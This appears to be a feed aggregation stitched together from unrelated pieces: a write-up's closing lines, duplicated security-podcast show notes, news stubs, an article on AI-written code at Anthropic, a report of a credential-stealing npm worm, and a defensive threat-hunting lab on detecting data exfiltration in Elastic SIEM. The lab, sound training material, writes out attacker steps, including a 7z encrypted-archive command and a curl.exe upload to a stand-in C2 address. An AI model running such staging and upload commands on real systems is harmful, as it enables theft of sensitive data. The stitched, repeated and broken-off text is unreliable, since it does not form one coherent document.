⠀⠀⢀⡴⠋⠁⠀⡉⠁⢐⣒⠒⠈⠁⠀⠀⠀⠈⠁⢂⢅⡂⠀⠀⠘⣧⠀⠀⠀⠀
⠀⠀⣼⠀⠀⠀⠁⠀⠀⠀⠂⠀⠀⠀⠀⢀⣀⣤⣤⣄⡈⠈⠀⠀⠀⠘⣇⠀⠀⠀
⢠⡾⠡⠄⠀⠀⠾⠿⠿⣷⣦⣤⠀⠀⣾⣋⡤⠿⠿⠿⠿⠆⠠⢀⣀⡒⠼⢷⣄⠀
⣿⠊⠊⠶⠶⢦⣄⡄⠀⢀⣿⠀⠀⠀⠈⠁⠀⠀⠙⠳⠦⠶⠞⢋⣍⠉⢳⡄⠈⣧
⢹⣆⡂⢀⣿⠀⠀⡀⢴⣟⠁⠀⢀⣠⣘⢳⡖⠀⠀⣀⣠⡴⠞⠋⣽⠷⢠⠇⠀⣼
⠀⢻⡀⢸⣿⣷⢦⣄⣀⣈⣳⣆⣀⣀⣤⣭⣴⠚⠛⠉⣹⣧⡴⣾⠋⠀⠀⣘⡼⠃
⠀⢸⡇⢸⣷⣿⣤⣏⣉⣙⣏⣉⣹⣁⣀⣠⣼⣶⡾⠟⢻⣇⡼⠁⠀⠀⣰⠋⠀⠀
⠀⢸⡇⠸⣿⡿⣿⢿⡿⢿⣿⠿⠿⣿⠛⠉⠉⢧⠀⣠⡴⠋⠀⠀⠀⣠⠇⠀⠀⠀
⠀⢸⠀⠀⠹⢯⣽⣆⣷⣀⣻⣀⣀⣿⣄⣤⣴⠾⢛⡉⢄⡢⢔⣠⠞⠁⠀⠀⠀⠀
⠀⢸⠀⠀⠀⠢⣀⠀⠈⠉⠉⠉⠉⣉⣀⠠⣐⠦⠑⣊⡥⠞⠋⠀⠀⠀⠀⠀⠀⠀
⠀⢸⡀⠀⠁⠂⠀⠀⠀⠀⠀⠀⠒⠈⠁⣀⡤⠞⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠙⠶⢤⣤⣤⣤⣤⡤⠴⠖⠚⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
C:\Users\Administrator\Desktop>

If you got here, I want to thank you for the time you took to read my article. I hope you enjoyed it and also learned something from it. Why not take a look at some of my other articles?

Hack Smarter — City Council (Active Directory) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Adriel joins us for a discussion on the state of penetration testing, why it hasn't done much to help security teams over the last 20 years, and why AI won't save it.

Segment Resources:

• https://hbr.org/2026/04/boards-are-falling-short-on-cybersecurity
• https://www.scworld.com/perspective/how-to-build-a-breach-ready-security-posture-without-the-enterprise-price-tag
• https://netragard.com/blog/what-is-penetration-testing/

Topic: Why Meta is destroying its engineering organization

The titular essay: https://newsletter.pragmaticengineer.com/p/why-is-meta-destroying-its-engineering

A very interesting analysis of what's going on inside big tech companies as they try to dogfood their own AI hype and tokenmaxx themselves into oblivion. There have been a LOT of stories on this, but this is the most comprehensive and enlightening. A few more are linked below.

This is relevant to security, because heavier AI use appears to be linked to a much higher occurrence of availability and security issues.

• 'Tell Him He's a Piece of Shit': Meta's New AI Unit Is a Total Mess
• The Newest Instagram "Exploit" is the Goofiest I've Seen
• Meta CTO Andrew Bosworth Admits the Company's AI Reorg Was 'Atrocious'
• Meta's months-old AI unit is a soul-crushing gulag, say the engineers stuck inside it

The Weekly Enterprise News

Finally, in the enterprise security news,

1. an AI vibe check
2. An AI SOC vendor shuts down
3. Cybersecurity vendor layoffs
4. funding & acquisitions
5. cascading breaches
6. digital estate management
7. criminals don't trust AI either
8. some devs won't code without AI, even if you pay them to
9. Midjourney is now a healthcare company?

All that and more, on this episode of Enterprise Security Weekly.

Visit https://www.securityweekly.com/esw for all the latest episodes!

Show Notes: https://securityweekly.com/esw-465

Interview with Adriel Desautels - the pentest is broken

Adriel joins us for a discussion on the state of penetration testing, why it hasn't done much to help security teams over the last 20 years, and why AI won't save it.

Segment Resources:
- https://hbr.org/2026/04/boards-are-falling-short-on-cybersecurity
- https://www.scworld.com/perspective/how-to-build-a-breach-ready-security-posture-without-the-enterprise-price-tag
- https://netragard.com/blog/what-is-penetration-testing/

Topic: Why Meta is destroying its engineering organization

The titular essay: https://newsletter.pragmaticengineer.com/p/why-is-meta-destroying-its-engineering

A very interesting analysis of what's going on inside big tech companies as they try to dogfood their own AI hype and tokenmaxx themselves into oblivion. There have been a LOT of stories on this, but this is the most comprehensive and enlightening. A few more are linked below.

This is relevant to security, because heavier AI use appears to be linked to a much higher occurrence of availability and security issues.

- ‘Tell Him He’s a Piece of Shit’: Meta’s New AI Unit Is a Total Mess
- The Newest Instagram "Exploit" is the Goofiest I've Seen
- Meta CTO Andrew Bosworth Admits the Company’s AI Reorg Was ‘Atrocious’
- Meta’s months-old AI unit is a soul-crushing gulag, say the engineers stuck inside it

The Weekly Enterprise News

Finally, in the enterprise security news,

1. an AI vibe check
2. An AI SOC vendor shuts down
3. Cybersecurity vendor layoffs
4. funding & acquisitions
5. cascading breaches
6. digital estate management
7. criminals don’t trust AI either
8. some devs won’t code without AI, even if you pay them to
9. Midjourney is now a healthcare company?

All that and more, on this episode of Enterprise Security Weekly.

Visit https://www.securityweekly.com/esw for all the latest episodes!

Show Notes: https://securityweekly.com/esw-465

Read more →

The post Mystery hackers use novel SharkLoader dropper against governments, software devs appeared first on IT Security News.

The post Mystery hackers use novel SharkLoader dropper against governments, software devs appeared first on Help Net Security.

Read more of this story at Slashdot.

Read the full article on GamingOnLinux.

Read the full article on GamingOnLinux.

You found a password reset that leaks the magic token in the API response. Or worse — the devs left an endpoint that just gives you…

Continue reading on InfoSec Write-ups »

• Don’t get Pushing Buttons delivered to your inbox? Sign up here

Did you spend hours of your weekend watching a relentless series of video game adverts? No? I don’t blame you – Summer Game Fest, the collection of livestreams that has arisen in place of the giant annual E3 video game expo in Los Angeles, is extremely overwhelming. There are the bigger, longer shows: the PlayStation and Xbox streams, the main SGF show hosted by Geoff Keighley and Lucy James, Future’s duet of the Future Games Show and the PC Gaming Show. Each show is two hours long. Then there are all the indie showcases: cosy games, female-led games, Black voices in gaming, Day of the Devs. Between them, they show off hundreds of games that might pique your interest.

I picked out exactly 34 highlights here: the biggest news, the most interesting-looking smaller games. But from the barrage of trailers I was also able to discern some trends. Here’s what we can learn.

Read the full article on GamingOnLinux.

Read the full article on GamingOnLinux.

This transformation has triggered an 8x increase in the volume of code shipped per engineer per quarter compared to the company’s 2021–2025 baseline, which the company notes means even more code someone or something must review.

For enterprise technical leaders, this is no longer a localized research curiosity; it's a new, aggressive competitive baseline.

If a frontier AI laboratory can successfully offload the vast majority of its engineering output to autonomous agents — showing signs of the long-sought AI Holy Grail of "recursive self-improvement," models that can independently research and upgrade themselves — what's preventing enterprises across other sectors from automating more of their internal software development with AI agents, too?

Obviously, it's easier said than done. Anthropic is one of the principle creators of the current gen AI boom, so you'd expect them to know how to deploy the technology effectively.

But for other enterprises looking to bump up the amount of code and workflows handled by agents, Anthropic's new blog post details the outlines of a general plan they too can adopt to re-engineer their operations and workflows to take advantage of the latest AI advances.

Anthropic's roadmap that other enterprises can follow

The transition from human-centric coding to autonomous orchestration requires understanding the evolution of AI capabilities. Anthropic outlines a clear historical continuum that enterprises can map onto their own digital transformation roadmaps:

• 2021–2023 (Manual Writing): Engineers write code and documentation natively within local text editors.

• 2023–2025 (Chatbot Assistance): Developers use early models to generate brief code snippets, copying and pasting outputs manually into their environments.

• 2025–2026 (Coding Agents): Capable agents actively write and edit entire files autonomously.

• Present Day (Autonomous Agents): Agents execute code independently, debug live environments, and delegate multi-hour work streams to specialized sub-agents.

This rapid evolution is validated by external benchmarks. Software engineering evaluation frameworks like SWE-bench—which tasks models with resolving real bug reports in complex, open-source codebases—have saturated over a two-year window.

Furthermore, long-duration capability evaluations demonstrate that models like Claude Opus 4.6 can reliably sustain operations on 12-hour tasks, while Claude Mythos Preview pushes past 16 hours of continuous problem-solving.

Internally, the technological leap is even more stark. On highly complex, open-ended engineering problems where clear specifications are initially absent, Claude’s success rate climbed to 76% in May 2026 — a 50-point increase in a six-month window.

In isolated optimization benchmarks, where models are tasked with accelerating AI model training code, Anthropic’s internal Mythos Preview model achieved a 52x speedup.

For comparison, a skilled human developer typically requires four to eight hours of manual refactoring to achieve a mere 4x speedup on the exact same codebase.

3-step plan to more complete production code automation

For an enterprise to replicate Anthropic's 80 percent milestone, technical decision-makers must abandon the "developer assistant" mental model and transition to an "automated factory" architecture. This shift impacts product management, operations, and developer workflows in three distinct ways:

1. Shift from Code Execution to Architectural Oversight

When code generation costs near zero in human time, the primary engineering role shifts from writing software to specifying goals and reviewing outputs. Enterprise leaders must retrain developers to act as systems architects and judges. As one Anthropic employee noted regarding the operational reality of this shift:

"The shape of stuff today is roughly ‘humans have ideas, and the models are able to implement, test and evaluate them an [order of magnitude] faster than before.’"

2. Overcome The Code Review Bottleneck

Injecting vast quantities of AI-generated code into an organization inevitably creates operational friction.

According to Amdahl’s law, the speedup of any process is strictly limited by its serial, non-automated bottlenecks.

At Anthropic, flooding the system with synthetic code instantly turned human code review into a critical bottleneck.

To counter this, enterprise teams must deploy automated AI code reviewers directly into their Continuous Integration/Continuous Deployment (CI/CD) pipelines.

Anthropic implemented an automated Claude reviewer (a publicly accessible version, Claude Code Review rolled out for commercial usage in March) tasked with analyzing every pull request for architectural defects, security flaws, and regression bugs before merging. Other dedicated firms like Qodo offer tools tailor-made for this purpose, as well.

In Anthropic's case, retrospective analyses indicated that the automated layer caught approximately one-third of the production bugs responsible for historical outages on the flagship claude.ai website.

3. Target High-Volume Operational Debt

Enterprises are frequently paralyzed by legacy code maintenance and long-deferred technical debt. Rather than deploying agents to write speculative new features, technical leaders should direct autonomous agents toward closed-loop, painstaking cleanup operations.

In April 2026, an Anthropic engineer deployed Claude to resolve a persistent class of API errors. Operating autonomously, the model shipped more than 800 individual fixes, successfully reducing the error rate by a factor of 1,000.

The supervising engineer estimated that a human developer would have spent four full years executing the same work, due to the cognitive load of holding massive, unfamiliar code context in their head simultaneously.

Considerations for enterprises moving forward in an age of primarily AI-generated code

Operating a codebase predominantly authored by AI introduces unique governance challenges that enterprise legal and security teams must navigate.

Unlike open-source licensing models (such as the permissive MIT license or copyleft GPL frameworks), enterprise codebases utilizing proprietary LLM infrastructure remain subject to the commercial terms of service of the respective AI vendor.

The deployment of autonomous agents requires rigorous verification protocols to ensure compliance, security, and intellectual property protection:

• Code Quality and Maintenance: Anthropic’s internal data indicates that while AI-authored code was objectively lower in quality than human output in late 2025, it reached rough parity by mid-2026, with expectations to surpass human standards within the year. Enterprise governance must adapt to a reality where the baseline quality of automated output is structurally superior to average manual coding.

• Security Auditing at Scale: The sheer volume of automated code creation demands automated vulnerability discovery. Anthropic’s Project Glasswing illustrates the scale of this issue: utilizing Mythos Preview, the project identified more than 10,000 high- and critical-severity software vulnerabilities across global digital infrastructure within its first few weeks. This shifted the enterprise cybersecurity challenge entirely from vulnerability discovery to patch deployment velocity.

• The Risk of Alignment Cascades: Technical leaders must maintain strict verification gates. If an enterprise uses an AI system to continuously modify, maintain, and expand its proprietary software infrastructure, undetected errors or subtle misalignments can compound over successive agent sessions, gradually corrupting system integrity or introducing security exploits that escape human notice.

Brace for internal enterprise culture disruption

The transition to an AI-dominated codebase is altering the cultural dynamics of engineering teams, introducing both unprecedented efficiency and deep psychological friction.

Publicly, Anthropic framed these metrics as a harbinger of a broader transformation. In an official statement on X, the company observed:

"Our internal data shows Claude is accelerating AI development—a possible path to recursive self-improvement, or AI autonomously building a more capable successor. It’s happening faster than we thought, and the implications deserve greater attention."

They expanded on the immediate productivity implications shortly thereafter:

"Today, Anthropic engineers on average ship 8x as much code per quarter as they did compared to 2021-2025... Many engineers also say Claude’s code quality is now on par with human code; we expect it to be better within the year."

Behind these corporate metrics lies a complex human reality. Internal employee communications reveal a distinct erosion of traditional workplace collaboration, as peer-to-peer developer interaction is systematically replaced by asynchronous agent calls:

"Work (and life) ran on a gift economy of small favors between humans. ‘Can you help me get this script running?’ [...] each one created a little debt, a little mutual awareness. Claude has eaten the favors. It’s faster, it creates zero debt, but each of these is a lost bid for human collaboration."

For individual contributors, the total automation of their primary skill set introduces acute professional anxiety regarding relevance and systemic control:

"I started leaning hard into Claudifying about a year ago. That’s been a crazy adventure and it’s now been ~5 months since I last wrote any code myself."

"On days where everything works well, I can’t help but think nothing I do matters, everything is automated and better and faster than I ever will be. But then there are days where everything breaks and I don't understand why and I realize I have no idea what I’ve been up to anymore."

Enterprise leaders aiming to match Anthropic’s technical velocity cannot afford to ignore these psychological dynamics.

Achieving an 80 percent automated codebase requires more than purchasing API tokens or configuring agent loops; it demands a total cultural overhaul, a strategy for mitigating developer obsolescence anxiety, and the implementation of rigorous, automated verification guardrails to maintain ultimate human control over the software stack.

Read the full article on GamingOnLinux.

The post Microsoft is killing Windows 11’s web app slop, encourages devs to build native apps using WinUI appeared first on Windows Latest

Read more of this story at Slashdot.

The payload is a multi-stage credential harvester that sweeps GitHub Actions secrets along with AWS, GCP, Azure, Kubernetes, HashiCorp Vault, npm, and CircleCI tokens, and it is purpose-built to evade detection, including an explicit attempt to bypass StepSecurity Harden-Runner.

StepSecurity analyzed @redhat-cloud-services/host-inventory-client@5.0.3 in full. Its index.js, executed at install time, is 4.2 MB, a file that should weigh a few kilobytes, with the real payload buried under three separate layers of obfuscation. The malware is also a self-propagating worm: using stolen npm tokens and npm's bypass_2fa parameter, it republishes backdoored versions of other packages on its own, even against accounts protected by two-factor authentication, so every infected machine can seed the next wave with no attacker involvement. All affected packages were published via GitHub Actions OIDC from the RedHatInsights/javascript-clients repository, indicating the upstream CI/CD pipeline itself was compromised. Analysis of the remaining packages is ongoing.

A blog post from SafeDep has additional analysis about the incident. We did not find an advisory from Red Hat on this yet.

Madrigal’s team has been heavily investing in customizing open-source models “foundationally in-house.”

“If you've got really unique data that you can then fine-tune an open source model with, data quality will, frankly, outweigh or overcome model size,” Madrigal explained in a recent VB Beyond the Pilot podcast. 

How Pinterest customized Qwen for visual discovery

Pinterest, which has around 620 million monthly active users, has long applied open source models for visual search and discovery, going back to Google’s BERT and OpenAI’s CLIP. The company fine-tuned its own Pin CLIP on the latter, incorporating proprietary visual embeddings and image metadata. 

Pinterest’s conversational shopping assistant, Navigator 1, was built on Qwen3-VL and customized in “pretty significant” ways. Madrigal’s team essentially “ripped out” Qwen’s vision encoder layer and fine-tuned the model on proprietary multimodal embeddings. This has allowed them to capture metadata around pins and images that can then be precomputed offline and regularly retrained on new information to deliver personalized experiences. 

“Open-source models, especially with open Apache licenses where you can truly tweak a lot of open weights and customize for unique use cases — that's where we've found open source to be so powerful for us,” Madrigal said. 

Bringing their own embeddings allows his team to gain context around metadata, pins, and images; also, notably, the model performs better at runtime and inference. Without these embeddings, devs would have to call and encode each image returned at runtime, one at a time. That results in a latency “20 times worse” from an inference perspective, Madrigal said. 

“If it's something that's going to be critical for our end users, that's going to drive engagement, that will have to scale to over 600 million monthly active users, we're going to either probably build it or we're going to leverage open source and customize the heck out of it,” he said. 

How a taste graph captures evolving interests

To guide users from inspiration to purchase, Madrigal's team built a "taste graph": a dynamic representation of what individual users actually like, not just what they click on. “It's this representation of billions of people's evolving tastes,” he said. 

People go to Google or other search engines when they have a clear picture of what they want; Pinterest is for when they’re still in the discovery phase, Madrigal said. Pinterest’s goal is to encourage “lateral exploration” and transform discovery to intent (that is, clicking through ads or making purchases). 

Under the hood, the architecture combines a graph structure with representational learning. User embeddings capture a user’s evolving tastes. These are constantly updated based on activity and new content and signals. “It's not a social graph,” Madrigal said. “It's much more of a preference graph: What's going to inspire you? What are you trying to do next?” 

For instance, one user may be into mid-century modern designs; another may prefer a Nantucket aesthetic. Those preferences will be captured in user embeddings, and the taste graph will deliver up specific, relevant products as a result. 

“You go from the upper funnel, inspiration discovery, all the way through lower funnel intent,” Madrigal said. 

Listen to the full podcast to hear more about:

• How Pinterest uses sandboxes to encourage creativity in a way that is secure and contained; 

• Why a continuous feedback loop can prevent visual AI slop; 

• The importance of constant benchmarking to gauge user engagement, performance, latency, and other factors. 

You can also listen and subscribe to Beyond the Pilot on Spotify, Apple or wherever you get your podcasts.

From the I/O stage to the event grounds, Chrome DevRel Engineer Matthias Rohmer gives you a front-row seat to the new Chrome Dev Prompt Lab. See the powerful combo of Modern Web Guidance and Chrome DevTools for agents in action. Test your knowledge against a next-gen AI evaluator, or drop your URL to let a coding agent praise (or meme) your site's performance with ASCII emojis. The way devs build for the web has officially changed in this new agentic era of the web.

Resources:
Read our top 15 Chrome announcements at Google I/O 2026 → https://goo.gle/4dDyJPP
Learn more about Modern Web Guidance → http://goo.gle/modern-web-guidance
Learn more about Chrome DevTools for agents → https://goo.gle/4trFvx3

Subscribe to Google for Developers → https://goo.gle/developers

Event: Google I/O 2026

Speakers: Matthias Rohmer
Products Mentioned: Chrome

🔬 Difficulty: Intermediate — Estimated Time: 45–60 minutes 🗂️ MITRE ATT&CK: T1039 / T1560.001 / T1048.002 — Data from Network Shared Drive / Archive via Utility / Exfiltration Over Asymmetric Encrypted Non-C2 Protocol

How to use this lab: Read the story to understand the attack. Then follow the Hunt section to find it yourself in Elastic SIEM. Document your findings in your Hunt Notebook as you go — you’ll use them to build your GitHub portfolio at the end.

Part 1 — The Scenario

1a — The Story Scene

Thursday afternoon. Meridian Financial’s SOC. 4:47 PM.

Alex Chen had been staring at the same DLP alert for six minutes when Marcus wheeled over.

“What’ve you got?”

“Nothing. That’s the problem.” She tilted the screen toward him. “DLP flagged a large outbound transfer to an external IP at 15:10. By the time the alert fired, the connection was already closed. The file is gone.”

Marcus studied the IP. “203.0.113.42. That’s the same C2 we saw last quarter.”

“Yeah.” Alex pulled up the endpoint timeline for WKSTN-MORGAN. "Morgan's machine. Service account — svc_emr_db. Which means someone with stolen credentials got onto a workstation and used a service account context to avoid triggering our user-behaviour baselines."

“Smart.” Marcus did not sound impressed. “What was transferred?”

“That’s what I’m trying to figure out. The DLP alert gives us the destination and the volume — 47 megabytes. It doesn’t tell us what 47 megabytes of data looked like before it left.”

That was the thing about data exfiltration. By the time most teams noticed it, the data was already gone. The only way to understand the scope — and answer the question every executive was going to ask in twenty minutes — was to work backwards. What files were accessed before the transfer? How were they packaged? How were they sent?

Alex opened a new ES|QL query and started at the beginning.

Now it’s your turn to find it.

1b — How Data Exfiltration Works — Simply Explained

Step 1: What attackers are actually trying to steal

After an attacker gets into a network — through phishing, stolen credentials, or lateral movement — their end goal is usually data. Financial records, patient files, intellectual property, credentials, employee PII. The data has value: for selling, for ransom leverage, or for competitive intelligence. But they can’t just walk out with a hard drive. They have to move the data across the network to somewhere they control, without triggering alerts designed to catch exactly that.

Step 2: The three phases every exfiltration attempt goes through

Attackers almost never upload raw files directly. They follow a three-step process that each leave their own tracks in your logs:

• Collection — bulk-reading or copying files from network shares to a local staging location. This is where the volume anomaly appears: one account reading dozens of sensitive files in minutes.
• Archiving — compressing and encrypting the staged files into a single archive using tools like 7-Zip or PowerShell’s Compress-Archive. Encryption hides the contents from DLP inspection; compression reduces transfer time and volume.
• Exfiltration — uploading the archive to an attacker-controlled server over HTTPS, making the traffic look like a normal encrypted web request.

The attacker’s advantage: each step looks almost normal in isolation. File access, archive creation, and HTTPS uploads all happen constantly in a healthy network. The signal is in the combination — and the statistical outliers.

Step 3: How the attack works

Normal file server activity (a single employee accessing one report):

User: a.chen | File: Q4_report.xlsx | Size: 280 KB | Process: EXCEL.EXE
Time: 09:15 → 09:16 | 1 file in ~60 seconds

Attacker bulk-staging data (stolen service account):

User: svc_emr_db | Files: 35 files across EMR$, Finance$, HR$, Legal$
Sizes: 1 MB – 8 MB per file | Process: robocopy.exe
Time: 14:00 → 14:43 | 35 files in 43 minutes | ~47 MB total

Then: 7z.exe -tzip -p[password] -mhe=on → update_pkg.zip (45 MB encrypted)
Then: curl.exe POST https://203.0.113.42/api/upload (8 chunks × ~6 MB)

What DLP sees vs what actually happened:

DLP alert: "Large outbound transfer: 47 MB to 203.0.113.42"
What it misses: 35 files read, 43 minutes of staging, 7z.exe with -mhe (header encryption)

Step 4: Why defenders miss it

┌─────────────────────────────────────────────────────────────────────────────┐
│  WHAT SECURITY TOOLS SEE                                                    │
│                                                                             │
│  File access:    svc_emr_db read 35 files — service accounts do this       │
│  7z.exe:         compression utility — IT uses it for backups               │
│  HTTPS upload:   encrypted outbound traffic — indistinguishable from SaaS  │
│  Total time:     ~2 hours — spread thin enough to avoid rate alerts         │
│                                                                             │
│  WHAT ACTUALLY HAPPENED                                                     │
│                                                                             │
│  35 sensitive files read in 43 minutes — 50× normal rate for this account  │
│  7z.exe from AppData\Temp — not from Program Files (attacker-dropped tool) │
│  curl.exe from AppData\Temp — not a standard user workstation binary       │
│  8 uploads to same external IP — internal backup goes to 10.0.0.50, not   │
│  203.0.113.42                                                               │
└─────────────────────────────────────────────────────────────────────────────┘

Think of it like a warehouse with an inventory system. Every item that leaves has to be scanned out — but the system only flags individual items over a certain weight. An attacker who takes 35 medium-sized boxes, repackages them into one large crate labelled “equipment return,” and ships it out via the regular loading dock never triggers a single scan. The anomaly isn’t any one step. It’s the sequence.

Step 5: Why it leaves tracks

Exfiltration can’t hide the following statistical signatures — and each one is a hunt signal:

• Access rate spike — one account reading far more files per minute than its own historical baseline, especially across multiple sensitive share paths simultaneously
• Archive tool process in unexpected path — 7z.exe or Compress-Archive spawned from AppData\Temp or C:\Users\*\AppData rather than a managed software directory
• Asymmetric upload ratio — network connections where bytes_out massively exceeds bytes_in (uploads, not browsing); normal HTTPS traffic is the opposite
• Single external destination, chunked volume — the same external IP receiving multiple large uploads in sequence, each sized just under a DLP threshold

None of that is a signature. But an analyst with the right ES|QL query can spot it in seconds. That’s exactly what you’re about to do.

Part 2 — Your Mission

By the end of this lab you will have:

• ✅ Detected a bulk file collection burst using file access rate analysis
• ✅ Found archive creation by an attacker-dropped 7-Zip binary in a suspicious path
• ✅ Identified chunked HTTPS exfiltration using upload-ratio anomaly detection
• ✅ Quantified the total data loss in megabytes
• ✅ Built a complete attack timeline from collection → archive → exfil → cleanup
• ✅ Documented the full investigation in your Hunt Notebook for your GitHub portfolio

Part 3 — Lab Setup

Getting Into the Lab

No manual Elastic setup required — Hunt Forward handles all of it.

1. Go to hunt-forward.com
2. Enter your email — Stripe checkout, card required, not charged for 7 days
3. Dashboard unlocks immediately — all labs accessible
4. Accept the Elastic Cloud invite → “Accept Invitation → Access SIEM”
5. Check your dashboard status — Pending → ✓ Invite Sent within ~5 minutes

Once you’re in Elastic — CLICK HERE or:

• Kibana → Discover
• Index: exfil-lab-logs
• Time range: March 6, 2025, 10:00 AM — 6:00 PM

A Quick Word on ES|QL

Throughout this lab we use ES|QL — Elasticsearch Query Language — instead of clicking through visualisation menus. ES|QL lets you filter, group, count, and calculate statistics on your logs in a single query, directly in Discover.

Every ES|QL query starts with FROM and pipes data through commands using |. Think of each | as "then do this next thing to the results."

To run ES|QL in Kibana:

1. In Discover, click the language selector dropdown (top left — it may say KQL or Lucene)
2. Select ES|QL
3. Paste the query and press Run (▶)

Part 4 — The Hunt

Hunt 1 — File Access Rate Spike (Bulk Collection)

The first signal in any exfiltration is the collection phase. Attackers need to stage data locally before they can archive and send it. That means one account reading a high volume of files in a short window — a rate that stands out against every other user on the file server.

The key insight: we’re not looking for a specific filename. We’re looking for abnormal access velocity from a single identity across multiple sensitive share paths.

FROM exfil-lab-logs
| WHERE event.category == "file"
  AND event.action == "file-accessed"
| STATS
    file_count = COUNT(*),
    total_bytes = SUM(file.size),
    unique_paths = COUNT_DISTINCT(file.path)
    BY host.name, user.name, process.name
| EVAL total_mb = ROUND(total_bytes / 1048576.0, 2)
| WHERE file_count > 10
| SORT file_count DESC
| LIMIT 20

What each line does:

• FROM exfil-lab-logs — query the lab dataset
• WHERE event.category == "file" AND event.action == "file-accessed" — scope to file read events only, filtering out write and delete events
• STATS file_count = COUNT(*), total_bytes = SUM(file.size), unique_paths = COUNT_DISTINCT(file.path) BY host.name, user.name, process.name — count how many files each user+host+process combination touched, sum the total bytes, and count distinct file paths to measure breadth of access
• EVAL total_mb = ROUND(total_bytes / 1048576.0, 2) — convert raw bytes to megabytes inline, rounded to 2 decimal places
• WHERE file_count > 10 — filter out low-volume normal activity; focus on accounts that read more than 10 files
• SORT file_count DESC — surface the highest-volume accessor first
• LIMIT 20 — return top 20 rows

What to look for in results: The top row should stand out dramatically from all others. Look for a user+process combination where file_count is 10× or more above the next row, where total_mb is in the tens of megabytes, and where process.name is something unexpected for file access — robocopy.exe instead of EXCEL.EXE or explorer.exe.

📝 Hunt Notebook checkpoint: Record the top anomalous row: user name, host name, process name, file count, and total MB accessed. Note whether the accessing process is a normal office application or a bulk-copy/scripting tool.

✅ Bulk collection confirmed. svc_emr_db on WKSTN-MORGAN accessed 75 files totalling ~47 MB via robocopy.exe — vastly above any other user in the dataset. The process alone is a red flag: robocopy.exe has no legitimate reason to be running under a service account from a workstation.

Hunt 2 — Archive Creation in a Suspicious Path

The second signal is the archiving step. Legitimate compression tools like 7-Zip are installed by IT to C:\Program Files\7-Zip\7z.exe. An attacker who drops their own copy to AppData\Temp to avoid relying on IT-managed software is visible the moment you filter on the executable path.

We also look for password-protected compression (-p flag) and encrypted headers (-mhe=on) in the command line — features that have no use case in a legitimate backup or IT workflow.

FROM exfil-lab-logs
| WHERE event.category == "process"
  AND (
    process.name == "7z.exe"
    OR process.name == "7za.exe"
    OR process.command_line LIKE "*Compress-Archive*"
    OR process.command_line LIKE "*-tzip*"
  )
| EVAL suspicious_path = CASE(
    process.executable LIKE "*\\\\AppData\\\\*", "YES — AppData",
    process.executable LIKE "*\\\\Temp\\\\*", "YES — Temp",
    process.executable LIKE "*\\\\ProgramData\\\\*", "YES — ProgramData",
    "NO — managed path"
  )
| EVAL has_password = CASE(
    process.command_line LIKE "*-p*", "YES",
    "NO"
  )
| KEEP host.name, user.name, process.name, process.executable,
       process.command_line, process.parent.name,
       suspicious_path, has_password, @timestamp
| SORT @timestamp ASC

What each line does:

• WHERE event.category == "process" AND (...) — find any process event involving common archive utilities or PowerShell compression commands
• EVAL suspicious_path = CASE(...) — derive a label field: flag the row if the archive tool is running from AppData, Temp, or ProgramData — directories where attackers drop tools to avoid IT software inventories
• EVAL has_password = CASE(...) — flag rows where the command line contains -p, indicating password-protected compression
• KEEP ... — return only the fields relevant to this investigation, reducing noise
• SORT @timestamp ASC — order by time so you can see the archive creation sequence as it happened

What to look for in results: Any row where suspicious_path = YES — AppData or similar is an immediate priority. Combine that with has_password = YES and you have a high-confidence archive creation event. Note the process.parent.name — if the archiver was spawned by cmd.exe or powershell.exe rather than an installer, that's a further indicator of attacker activity.

📝 Hunt Notebook checkpoint: Record the full process.command_line for any flagged row. Note the output filename in the command (the archive name the attacker chose), the executable path (confirms it's not a managed installation), and the password flag. The archive filename often reveals the attacker's masquerade strategy.

✅ Rogue archive creation confirmed. 7z.exe ran from C:\Users\morgan\AppData\Local\Temp\7z.exe — attacker-dropped, not IT-managed — with flags -tzip -p3x!tr@c3d -mhe=on, creating a password-encrypted, header-encrypted ZIP. The output was named WindowsDefender_Update_KB5034441.zip to masquerade as a Windows patch package.

Hunt 3 — Asymmetric Upload Detection (Exfiltration)

Normal HTTPS browsing is asymmetric in one direction: users download far more than they upload. A request to load a webpage sends a few hundred bytes out and receives megabytes back. When you see the pattern reversed — large bytes_out, tiny bytes_in — on an outbound HTTPS connection, that's an upload. When it's repeated, to a single external IP, in chunks, that's exfiltration.

FROM exfil-lab-logs
| WHERE event.category == "network"
  AND network.direction == "outbound"
  AND destination.port == 443
  AND network.bytes_out IS NOT NULL
| EVAL mb_out = ROUND(network.bytes_out / 1048576.0, 2)
| EVAL mb_in = ROUND(network.bytes_in / 1048576.0, 2)
| EVAL upload_ratio = ROUND(network.bytes_out / (network.bytes_in + 1), 1)
| WHERE mb_out > 1.0
| STATS
    transfer_count = COUNT(*),
    total_mb_out = ROUND(SUM(network.bytes_out) / 1048576.0, 2),
    avg_mb_per_transfer = ROUND(AVG(network.bytes_out) / 1048576.0, 2),
    max_upload_ratio = MAX(upload_ratio)
    BY host.name, user.name, destination.ip, process.name
| WHERE transfer_count >= 2
| SORT total_mb_out DESC
| LIMIT 15

What each line does:

• WHERE ... destination.port == 443 AND network.bytes_out IS NOT NULL — scope to HTTPS outbound connections that have byte-count telemetry
• EVAL mb_out = ROUND(network.bytes_out / 1048576.0, 2) — convert bytes sent to megabytes
• EVAL mb_in = ROUND(network.bytes_in / 1048576.0, 2) — convert bytes received to megabytes
• EVAL upload_ratio = ROUND(network.bytes_out / (network.bytes_in + 1), 1) — compute the ratio of sent to received; adding 1 to the denominator prevents division-by-zero; a ratio of 1000+ means the connection is almost entirely outbound
• WHERE mb_out > 1.0 — filter out small requests; focus on transfers over 1 MB
• STATS transfer_count = COUNT(*), total_mb_out = ROUND(SUM(...) / 1048576.0, 2), avg_mb_per_transfer = ..., max_upload_ratio = MAX(upload_ratio) BY host.name, user.name, destination.ip, process.name — group by destination IP and summarise: how many transfers, total volume, average chunk size, and peak ratio
• WHERE transfer_count >= 2 — filter to destinations that received multiple large uploads (chunked exfil pattern)
• SORT total_mb_out DESC — surface the highest-volume destination first

What to look for in results: The top row should show a single external IP receiving multiple transfers with a massive total_mb_out value and a max_upload_ratio in the thousands. Cross-reference the destination IP against the C2 you found in earlier labs. The process.name of curl.exe on a standard user workstation is another high-confidence indicator — curl is a developer/admin tool rarely present on end-user machines.

📝 Hunt Notebook checkpoint: Record the destination IP, total MB exfiltrated, transfer count, average chunk size, and the process responsible. The total_mb_out figure is your data loss estimate — this number goes in the executive summary of your incident report.

